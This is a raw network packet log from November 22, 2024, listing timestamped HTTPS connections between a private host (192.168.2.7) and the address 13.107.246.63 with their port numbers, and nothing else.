Nov 22, 2024 01:03:27.203603029 CET	49965	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.203819990 CET	49965	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.203860998 CET	443	49965	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.209103107 CET	443	49960	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.209543943 CET	49960	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.209568977 CET	443	49960	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.210016012 CET	49960	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.210022926 CET	443	49960	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.409354925 CET	443	49959	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.412432909 CET	443	49959	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.412599087 CET	49959	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.412599087 CET	49959	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.412599087 CET	49959	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.416177034 CET	49966	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.416208029 CET	443	49966	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.416294098 CET	49966	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.416479111 CET	49966	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.416492939 CET	443	49966	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.518784046 CET	443	49961	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.525176048 CET	443	49961	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.525278091 CET	49961	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.525352001 CET	49961	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.525352001 CET	49961	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.525388002 CET	443	49961	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.525412083 CET	443	49961	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.529192924 CET	49967	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.529246092 CET	443	49967	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.529339075 CET	49967	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.529524088 CET	49967	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.529540062 CET	443	49967	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.656080008 CET	443	49960	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.659094095 CET	443	49960	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.659292936 CET	49960	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.659292936 CET	49960	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.659292936 CET	49960	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.662873983 CET	49968	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.662952900 CET	443	49968	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.663062096 CET	49968	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.663211107 CET	49968	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.663233042 CET	443	49968	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.722223997 CET	49959	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.722244024 CET	443	49959	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:27.972253084 CET	49960	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:27.972274065 CET	443	49960	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:28.700243950 CET	443	49964	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:28.701016903 CET	49964	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:28.701041937 CET	443	49964	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:28.701580048 CET	49964	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:28.701584101 CET	443	49964	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:28.990888119 CET	443	49965	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:28.991700888 CET	49965	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:28.991776943 CET	443	49965	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:28.992125988 CET	49965	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:28.992140055 CET	443	49965	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.223185062 CET	443	49964	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.223388910 CET	443	49964	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.223563910 CET	49964	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.223592043 CET	49964	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.223607063 CET	443	49964	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.223614931 CET	49964	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.223620892 CET	443	49964	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.227019072 CET	49969	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.227066994 CET	443	49969	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.227144957 CET	49969	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.227324963 CET	49969	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.227338076 CET	443	49969	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.265113115 CET	443	49966	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.265604019 CET	49966	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.265615940 CET	443	49966	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.266012907 CET	49966	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.266016960 CET	443	49966	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.357845068 CET	443	49967	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.358397007 CET	49967	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.358428955 CET	443	49967	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.358923912 CET	49967	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.358933926 CET	443	49967	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.433465004 CET	443	49965	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.436444044 CET	443	49965	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.436609983 CET	49965	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.436664104 CET	49965	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.436664104 CET	49965	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.436702013 CET	443	49965	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.436723948 CET	443	49965	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.439991951 CET	49970	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.440069914 CET	443	49970	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.440186024 CET	49970	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.440340996 CET	49970	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.440367937 CET	443	49970	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.523535013 CET	443	49968	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.524008036 CET	49968	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.524036884 CET	443	49968	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.524507046 CET	49968	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.524518967 CET	443	49968	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.718663931 CET	443	49966	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.721749067 CET	443	49966	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.721803904 CET	443	49966	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.721932888 CET	49966	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.721932888 CET	49966	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.726777077 CET	49966	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.726793051 CET	443	49966	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.726802111 CET	49966	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.726807117 CET	443	49966	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.731117964 CET	49971	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.731180906 CET	443	49971	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.731264114 CET	49971	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.731426954 CET	49971	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.731440067 CET	443	49971	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.801672935 CET	443	49967	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.804748058 CET	443	49967	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.804846048 CET	49967	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.804969072 CET	49967	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.804969072 CET	49967	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.805006981 CET	443	49967	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.805028915 CET	443	49967	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.808033943 CET	49972	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.808085918 CET	443	49972	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.808183908 CET	49972	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.808351040 CET	49972	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.808374882 CET	443	49972	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.974770069 CET	443	49968	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.978228092 CET	443	49968	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.978414059 CET	49968	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.978414059 CET	49968	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.978414059 CET	49968	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.981193066 CET	49973	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.981225967 CET	443	49973	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:29.981300116 CET	49973	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.981462955 CET	49973	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:29.981475115 CET	443	49973	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:30.291372061 CET	49968	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:30.291418076 CET	443	49968	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.026746988 CET	443	49969	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.027554989 CET	49969	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.027585030 CET	443	49969	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.028075933 CET	49969	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.028091908 CET	443	49969	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.226933002 CET	443	49970	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.227480888 CET	49970	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.227539062 CET	443	49970	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.227946997 CET	49970	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.227958918 CET	443	49970	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.488791943 CET	443	49969	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.491770983 CET	443	49969	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.491935968 CET	49969	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.491935968 CET	49969	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.491935968 CET	49969	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.503563881 CET	49974	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.503634930 CET	443	49974	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.503739119 CET	49974	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.503941059 CET	49974	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.503971100 CET	443	49974	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.595050097 CET	443	49972	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.595629930 CET	49972	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.595658064 CET	443	49972	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.596159935 CET	49972	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.596172094 CET	443	49972	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.601202965 CET	443	49971	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.601519108 CET	49971	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.601536989 CET	443	49971	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.602062941 CET	49971	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.602068901 CET	443	49971	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.671307087 CET	443	49970	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.671379089 CET	443	49970	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.671457052 CET	49970	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.671520948 CET	443	49970	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.671624899 CET	49970	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.671624899 CET	49970	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.671663046 CET	443	49970	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.672053099 CET	443	49970	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.672132015 CET	443	49970	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.672205925 CET	49970	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.674484015 CET	49975	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.674515009 CET	443	49975	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.674597979 CET	49975	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.674742937 CET	49975	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.674753904 CET	443	49975	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.800654888 CET	49969	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.800698042 CET	443	49969	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.830302000 CET	443	49973	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.830662966 CET	49973	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.830688953 CET	443	49973	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:31.831078053 CET	49973	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:31.831083059 CET	443	49973	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.053344965 CET	443	49972	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.053389072 CET	443	49972	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.053452015 CET	443	49972	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.053611040 CET	49972	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.053611994 CET	49972	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.055449963 CET	49972	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.055489063 CET	443	49972	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.055517912 CET	49972	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.055535078 CET	443	49972	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.058435917 CET	443	49971	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.058490038 CET	443	49971	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.058547974 CET	49971	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.058568001 CET	443	49971	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.058583975 CET	443	49971	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.058638096 CET	49971	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.062087059 CET	49971	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.062103033 CET	443	49971	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.062113047 CET	49971	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.062119007 CET	443	49971	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.089632034 CET	49976	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.089679003 CET	443	49976	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.089771986 CET	49976	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.090307951 CET	49977	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.090337992 CET	443	49977	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.090388060 CET	49977	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.090456963 CET	49976	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.090472937 CET	443	49976	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.090549946 CET	49977	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.090562105 CET	443	49977	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.285687923 CET	443	49973	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.288758993 CET	443	49973	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.288836002 CET	49973	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.299300909 CET	49973	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.299326897 CET	443	49973	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.299341917 CET	49973	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.299346924 CET	443	49973	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.311855078 CET	49978	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.311865091 CET	443	49978	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:32.311919928 CET	49978	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.312305927 CET	49978	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:32.312319040 CET	443	49978	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.300870895 CET	443	49974	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.301443100 CET	49974	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.301497936 CET	443	49974	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.301830053 CET	49974	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.301841974 CET	443	49974	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.476641893 CET	443	49975	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.477082968 CET	49975	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.477099895 CET	443	49975	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.477472067 CET	49975	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.477477074 CET	443	49975	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.745461941 CET	443	49974	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.748621941 CET	443	49974	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.748667002 CET	443	49974	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.748786926 CET	49974	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.748786926 CET	49974	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.748786926 CET	49974	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.750543118 CET	49974	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.750576973 CET	443	49974	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.751513958 CET	49979	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.751550913 CET	443	49979	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.751621962 CET	49979	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.751764059 CET	49979	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.751781940 CET	443	49979	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.882925987 CET	443	49976	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.885930061 CET	49976	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.885943890 CET	443	49976	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.886369944 CET	49976	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.886374950 CET	443	49976	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.896802902 CET	443	49977	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.898765087 CET	49977	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.898786068 CET	443	49977	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.899019003 CET	49977	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.899024963 CET	443	49977	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.918971062 CET	443	49975	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.921996117 CET	443	49975	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.926095963 CET	49975	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.928858995 CET	49975	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.928878069 CET	443	49975	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.928932905 CET	49975	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.928939104 CET	443	49975	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.931469917 CET	49980	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.931523085 CET	443	49980	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:33.931602001 CET	49980	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.931734085 CET	49980	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:33.931752920 CET	443	49980	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.102246046 CET	443	49978	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.102653980 CET	49978	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.102683067 CET	443	49978	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.103090048 CET	49978	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.103095055 CET	443	49978	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.343336105 CET	443	49977	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.346324921 CET	443	49977	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.346450090 CET	443	49977	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.346529007 CET	49977	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.346580029 CET	49977	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.346601963 CET	443	49977	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.346612930 CET	49977	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.346617937 CET	443	49977	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.349104881 CET	49981	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.349134922 CET	443	49981	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.349200010 CET	49981	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.349332094 CET	49981	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.349351883 CET	443	49981	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.351442099 CET	443	49976	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.351500034 CET	443	49976	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.351564884 CET	49976	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.351583958 CET	443	49976	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.351712942 CET	49976	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.351718903 CET	443	49976	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.351762056 CET	49976	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.352149010 CET	443	49976	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.352231979 CET	443	49976	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.353568077 CET	49982	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.353596926 CET	49976	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.353619099 CET	443	49982	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.353687048 CET	49982	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.353795052 CET	49982	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.353807926 CET	443	49982	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.545463085 CET	443	49978	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.548460960 CET	443	49978	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.548511982 CET	49978	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.548525095 CET	443	49978	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.548593998 CET	443	49978	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.548641920 CET	49978	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.548665047 CET	49978	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.548676014 CET	443	49978	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.548686028 CET	49978	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.548691034 CET	443	49978	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.556477070 CET	49983	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.556492090 CET	443	49983	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:34.556550026 CET	49983	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.556806087 CET	49983	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:34.556821108 CET	443	49983	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:35.532275915 CET	443	49979	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:35.532922983 CET	49979	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:35.532943010 CET	443	49979	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:35.533459902 CET	49979	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:35.533466101 CET	443	49979	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:35.976142883 CET	443	49979	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:35.979204893 CET	443	49979	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:35.979295015 CET	49979	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:35.979346037 CET	49979	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:35.979367971 CET	443	49979	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:35.979382992 CET	49979	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:35.979392052 CET	443	49979	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:35.991906881 CET	49984	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:35.991949081 CET	443	49984	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:35.992031097 CET	49984	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:35.992207050 CET	49984	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:35.992222071 CET	443	49984	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:35.995112896 CET	443	49980	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:35.995479107 CET	49980	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:35.995521069 CET	443	49980	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:35.996098042 CET	49980	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:35.996112108 CET	443	49980	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:36.078589916 CET	443	49982	13.107.246.63	192.168.2.7
